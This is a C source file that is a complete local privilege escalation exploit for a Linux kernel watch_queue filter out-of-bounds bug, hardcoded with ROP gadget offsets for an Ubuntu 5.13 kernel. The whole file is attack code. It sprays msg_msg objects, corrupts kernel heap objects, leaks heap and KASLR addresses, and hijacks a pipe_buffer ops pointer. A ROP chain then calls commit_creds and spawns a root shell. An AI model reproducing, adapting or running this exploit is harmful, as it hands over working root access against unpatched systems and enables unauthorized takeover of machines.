#define _GNU_SOURCE
#include <sys/ioctl.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <linux/watch_queue.h>

#include "util.h"

#define MSGMSG_SPRAY 2000
#define MSGMSG_FREE_IDX_0 0
#define MSGMSG_FREE_IDX_1 1950
#define MTYPE_PRIMARY 0x41
#define MTYPE_SECONDARY 0x42
#define MTYPE_FAKE 0x43
#define PRIMARY_SIZE 96
#define SECONDARY_SIZE 1024
#define N_SOCKS 4
#define N_SKBUFFS 128
#define NUM_PIPEFDS 256
#define CORRUPT_MSGMSG_TRIES 50

void shell();

// Ubuntu kernel 5.13.0-37-generic
// 0xffffffff813c6866 : push rsi ; mov edx, 0x415b00c3 ; pop rsp ; pop rbp ; ret
uint64_t PUSH_RSI_POP_RSP_RBP_RET = 0xffffffff813c6866 - 0xffffffff81000000; 
// 0xffffffff8109507d: pop r12; pop r15; ret; 
uint64_t POP_POP_RET = 0xffffffff8109507d - 0xffffffff81000000;
// 0xffffffff81095080: pop rdi; ret; 
uint64_t POP_RDI_RET = 0xffffffff81095080 - 0xffffffff81000000;
// 0xffffffff81509a39: xor dh, dh; ret; 
uint64_t XOR_DH_DH_RET = 0xffffffff81509a39 - 0xffffffff81000000;
// 0xffffffff815c0d54: mov rdi, rax; jne 0x7c0d41; xor eax, eax; ret; 
uint64_t MOV_RDI_RAX_JNE_RET = 0xffffffff815c0d54 - 0xffffffff81000000;
uint64_t KPTI_TRAPOLINE_POP_RAX_RDI_SWAPGS_IRETQ = 0xffffffff81e0100b - 0xffffffff81000000;
uint64_t PREPARE_KERNEL_CRED = 0xffffffff810d45d0 - 0xffffffff81000000;
uint64_t COMMIT_CREDS = 0xffffffff810d4370 - 0xffffffff81000000;
uint64_t ANON_PIPE_BUF_OPS = 0xffffffff8223ffc0 - 0xffffffff81000000;

uint64_t user_cs, user_ss, user_sp, user_rflags, user_rip = (uint64_t)shell;
uint64_t kaslr_base = -1;

typedef struct watch_notification_type_filter wntf_t;
typedef struct watch_notification_filter wnf_t;

int spray_qids[MSGMSG_SPRAY];
int ss[N_SOCKS][2];
int pipe_fds[NUM_PIPEFDS][2];

unsigned int real_idx = -1, corrupted_idx = -1;

/*
  spray using msg_msg
*/
void spray_msgmsg() {
  char buffer[0x2000] = {0};
  msg *message = (msg *)buffer;

  for (int i = 0; i < MSGMSG_SPRAY; i++) {
    int spray = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
    spray_qids[i] = spray;
    memset(buffer, 0x42, sizeof(buffer));

    ((unsigned long*)message->mtext)[0] = i;
    ((unsigned long*)message->mtext)[5] = 0x0; // later this will probably be a msg_msgseg.next, we want it 0x0

    message->mtype = MTYPE_PRIMARY;
    send_msg(spray, message, PRIMARY_SIZE - 0x30, 0); // Each queue has 1 96 and 1 1024 msg_msg

    if(i == MSGMSG_FREE_IDX_0 || i == MSGMSG_FREE_IDX_1) 
      continue;

    message->mtype = MTYPE_SECONDARY;
    send_msg(spray, message, SECONDARY_SIZE - 0x30, 0); // queue --next-> 96 --next-> 1024 <-queue--
  }
}

void delete_msgmsg(int i, int sz, long mtype) {
  char buf[0x2000] = {0};
  get_msg(spray_qids[i], buf, sz - 0x30, mtype, IPC_NOWAIT);
}

void check_corruption() {
  char buf[0x2000] = {0};
  msg *message = (msg *)buf;

  for (int i = 0; i < MSGMSG_SPRAY; i++) {
    if(i == MSGMSG_FREE_IDX_0 || i == MSGMSG_FREE_IDX_1) 
      continue;

    get_msg(spray_qids[i], buf, SECONDARY_SIZE - 0x30, 1, MSG_COPY|IPC_NOWAIT); 

    if (((uint64_t*)message->mtext)[0] != i) {
      real_idx = i;
      corrupted_idx = ((uint64_t*)message->mtext)[0];
      break;
    }
  }
}

void cleanup_msgmsg() {
  for (int i = 0; i < MSGMSG_SPRAY; i++) {
    if(i == MSGMSG_FREE_IDX_0 || i == MSGMSG_FREE_IDX_1 || i == real_idx || i == corrupted_idx) 
      continue;

    msgctl(spray_qids[i], IPC_RMID, NULL);
  }
}
/* */

/*
  kmalloc-1024 spray using skbuff
*/
int spray_skbuff(int ss[N_SOCKS][2], const void *buf, size_t size) {
  for (int i = 0; i < N_SOCKS; i++) {
    for (int j = 0; j < N_SKBUFFS; j++) {
      if (write(ss[i][0], buf, size) < 0) {
        perror("[-] write");
        return -1;
      }
    }
  }
  return 0;
}

int free_skbuff(int ss[N_SOCKS][2], void *buf, size_t size) {
  for (int i = 0; i < N_SOCKS; i++) {
    for (int j = 0; j < N_SKBUFFS; j++) {
      if (read(ss[i][1], buf, size) < 0) {
        perror("[-] read");
        return -1;
      }
    }
  }
  return 0;
}
/* */

void build_msgmsg(void* msg, uint64_t list_next, uint64_t list_prev, uint64_t next, uint64_t m_ts, uint64_t security, uint64_t mtype) {
  ((msg_msg*)msg)->m_list_next = list_next;
  ((msg_msg*)msg)->m_list_prev = list_prev;
  ((msg_msg*)msg)->next = next;
  ((msg_msg*)msg)->m_ts = m_ts;
  ((msg_msg*)msg)->security = security;
  ((msg_msg*)msg)->m_type = mtype;
}

void build_rop(uint64_t* rop) {
  int k = 0;
  rop[k++] = 0x0;         // dummy rbp
  rop[k++] = POP_POP_RET + kaslr_base; // skip pipe_buf->ops
  rop[k++] = 0x0;         // pipe_buf->ops
  rop[k++] = 0x0;         // dummy
  rop[k++] = POP_RDI_RET + kaslr_base;
  rop[k++] = 0x0;         // rdi
  rop[k++] = PREPARE_KERNEL_CRED + kaslr_base;
  rop[k++] = XOR_DH_DH_RET + kaslr_base;
  rop[k++] = MOV_RDI_RAX_JNE_RET + kaslr_base;
  rop[k++] = COMMIT_CREDS + kaslr_base;
  rop[k++] = KPTI_TRAPOLINE_POP_RAX_RDI_SWAPGS_IRETQ + kaslr_base;
  rop[k++] = 0x0;         // rax
  rop[k++] = 0x0;         // rdi
  rop[k++] = user_rip;    // user_rip
  rop[k++] = user_cs;     // user_cs
  rop[k++] = user_rflags; // user_rflags
  rop[k++] = user_sp;     // user_sp
  rop[k++] = user_ss;     // user_ss
}

void shell() {
  syscall(SYS_execve, "/bin/sh", 0, 0);
}

void save_state() {
  __asm__(
    ".intel_syntax noprefix;"
    "mov user_cs, cs;"
    "mov user_ss, ss;"
    "mov user_sp, rsp;"
    "pushf;"
    "pop user_rflags;"
    ".att_syntax;"
  );
}

int main() {
  // Assign to cpu 0
  cpu_set_t my_set;
  CPU_ZERO(&my_set);
  CPU_SET(0, &my_set);
  if (sched_setaffinity(0, sizeof(cpu_set_t), &my_set) == -1) {
    perror("sched_setaffinity()");
    exit(1);
  }

  save_state();

  int fds[2];
  int nfilters = 4;
  char buf[0x2000];
  char secondary_buf[SECONDARY_SIZE - 0x140];

  // Filter setup
  wnf_t *filter = (wnf_t*)calloc(1, sizeof(wnf_t) + nfilters * sizeof(wntf_t));
  if (!filter) {
    perror("calloc()");
    exit(1);
  }

  /*
    STEP 1
    Spray msg_msg: for each queue one msg in kmalloc-96 and one in kmalloc-1024
    Corrupt a msg_msg.mlist.next in kmalloc-96, so that two msg_msg points to the same msg_msg in kmalloc-1024
  */
  puts("[+] STEP 1: msg_msg corruption");

  int ntries = 0;

  do {
    ntries++;

    filter->nr_filters = nfilters;
    for (int i = 0; i < (nfilters - 1); i++) {  // choose kmalloc-96
      filter->filters[i].type = 1;
    }

    // Set 1 bit oob to 1, hopefully we overwrite a msg_msg.mlist.next which is not 2k aligned
    filter->filters[nfilters - 1].type = 0x30a; // 0x300 -> 96 bytes oob, 0xa -> 2**10 == 1024

    if (pipe2(fds, O_NOTIFICATION_PIPE) == -1) {
      perror("pipe2()");
      exit(1);
    }

    // Spray kmalloc-96
    spray_msgmsg();
    delete_msgmsg(MSGMSG_FREE_IDX_1, PRIMARY_SIZE, MTYPE_PRIMARY); // kmalloc
    delete_msgmsg(MSGMSG_FREE_IDX_0, PRIMARY_SIZE, MTYPE_PRIMARY); // memdup

    // Filter go
    if (ioctl(fds[0], IOC_WATCH_QUEUE_SET_FILTER, filter) < 0) {
      perror("ioctl(IOC_WATCH_QUEUE_SET_FILTER)");
      goto err;
    }

    check_corruption();

    if (corrupted_idx != -1)
      break;
    
    cleanup_msgmsg();
  } while (ntries < CORRUPT_MSGMSG_TRIES);

  if (corrupted_idx == -1) {
    puts("[-] couldn't corrupt msg_msg");
    exit(1);
  }

  printf("[*] found corrupted msg_msg after %d tries. real: %d corrupted: %d\n", ntries, real_idx, corrupted_idx);
  puts("[+] freeing corrupted msg_msg....");
  delete_msgmsg(corrupted_idx, SECONDARY_SIZE, MTYPE_SECONDARY);

  for (int i = 0; i < N_SOCKS; i++) {
    if (socketpair(AF_UNIX, SOCK_STREAM, 0, ss[i]) < 0) {
      perror("[-] socketpair");
      goto err;
    }
  }

  memset(secondary_buf, 0x42, sizeof(secondary_buf));
  build_msgmsg(secondary_buf, 0x4141414141414141, 0x4242424242424242, 0x0, 8192 - 0x30, 0x0, MTYPE_FAKE);

  puts("[+] reallocating corrupted msg_msg....");
  spray_skbuff(ss, secondary_buf, sizeof(secondary_buf));

  memset(buf, 0x0, sizeof(buf));
  get_msg(spray_qids[real_idx], buf, 8192-0x30, 1, IPC_NOWAIT | MSG_COPY);

  uint64_t primary_msg = ((uint64_t*)buf)[124];
  if ((primary_msg & 0xffff000000000000) != 0xffff000000000000) {
    puts("[-] wrong heap leak");
    goto err;
  }
  printf("[*] primary_msg: 0x%lx\n", primary_msg);

  puts("[+] freeing corrupted msg_msg....");
  free_skbuff(ss, secondary_buf, sizeof(secondary_buf));

  memset(secondary_buf, 0x42, sizeof(secondary_buf));
  build_msgmsg(secondary_buf, 0x4141414141414141, 0x4242424242424242, primary_msg - 8, 8192 - 0x30, 0x0, MTYPE_FAKE);

  puts("[+] reallocating corrupted msg_msg....");
  spray_skbuff(ss, secondary_buf, sizeof(secondary_buf));

  memset(buf, 0x0, sizeof(buf));
  get_msg(spray_qids[real_idx], buf, 8192-0x30, 1, IPC_NOWAIT | MSG_COPY);

  uint64_t secondary_msg = ((uint64_t*)buf)[507];
  if ((secondary_msg & 0xffff000000000000) != 0xffff000000000000) {
    puts("[-] wrong heap leak");
    goto err;
  }
  printf("[*] secondary_msg: 0x%lx\n", secondary_msg);

  uint64_t fake_secondary_msg = secondary_msg - SECONDARY_SIZE;
  printf("[*] corrupted secondary_msg: 0x%lx\n", fake_secondary_msg);
  puts("[+] freeing corrupted msg_msg....");
  free_skbuff(ss, secondary_buf, sizeof(secondary_buf));

  build_msgmsg(secondary_buf, fake_secondary_msg, fake_secondary_msg, 0x0, SECONDARY_SIZE - 0x30, 0x0, MTYPE_FAKE);

  puts("[+] reallocating corrupted msg_msg....");
  spray_skbuff(ss, secondary_buf, sizeof(secondary_buf));

  puts("[+] freeing sk_buff....");
  delete_msgmsg(real_idx, SECONDARY_SIZE, MTYPE_FAKE);

  /*
    STEP 2
    Spray struct pipe_buffer, leak KASLR while reading and freeing sk_buffs
  */
  puts("[+] STEP 2: KASLR leak");
  puts("[+] Spraying pipe_buffer objs...");

  for (int i = 0; i < NUM_PIPEFDS; i++) {
    if (pipe(pipe_fds[i]) < 0) {
      perror("[-] pipe");
      goto err;
    }

    if (write(pipe_fds[i][1], "A", 1) < 0) {
      perror("[-] write");
      goto err;
    }
  }

  puts("[+] Leak+free pipe_buffer objs...");
  memset(secondary_buf, 0x0, sizeof(secondary_buf));  

  for (int i = 0; i < N_SOCKS; i++) {
    for (int j = 0; j < N_SKBUFFS; j++) {
      if (read(ss[i][1], secondary_buf, sizeof(secondary_buf)) < 0) {
        perror("[-] read");
        goto err;
      }

      if (*(uint64_t *)&secondary_buf[0x10] != MTYPE_FAKE)
        kaslr_base = ((uint64_t*)secondary_buf)[2];
    }
  }

  if (kaslr_base == -1 || ((kaslr_base & 0xffffffff00000000) != 0xffffffff00000000)) {
    puts("[-] couldn't leak kaslr");
    goto err;
  }

  printf("[*] kaslr leak: 0x%lx\n", kaslr_base);
  kaslr_base -= ANON_PIPE_BUF_OPS;
  printf("[*] kaslr base: 0x%lx\n", kaslr_base);

  /*
    STEP 3
    Reallocate struct pipe_buffer overwrite _ops pointer and do stack pivoting
  */
  puts("[+] STEP 3: Stack pivot");
  puts("[+] Reallocating pipe_buffer object....");
  
  struct pipe_buf_operations *ops;
  struct pipe_buffer *pipe_buf;

  memset(secondary_buf, 0x0, sizeof(secondary_buf));

  pipe_buf = (struct pipe_buffer*)secondary_buf;
  ops = (struct pipe_buf_operations *)&secondary_buf[0x290];
  ops->release = PUSH_RSI_POP_RSP_RBP_RET + kaslr_base;

  build_rop((uint64_t*)secondary_buf);

  pipe_buf->ops = fake_secondary_msg + 0x290;

  spray_skbuff(ss, secondary_buf, sizeof(secondary_buf));

  puts("[+] Cleaning up msg_msgs");
  cleanup_msgmsg();

  puts("[+] Releasing pipe_buffer objs");
  for (int i = 0; i < NUM_PIPEFDS; i++) {
    if (close(pipe_fds[i][0]) < 0) {
      perror("[-] close");
      goto err;
    }
    if (close(pipe_fds[i][1]) < 0) {
      perror("[-] close");
      goto err;
    }
  }

  return 0;

err:
  cleanup_msgmsg();
  return 1;
}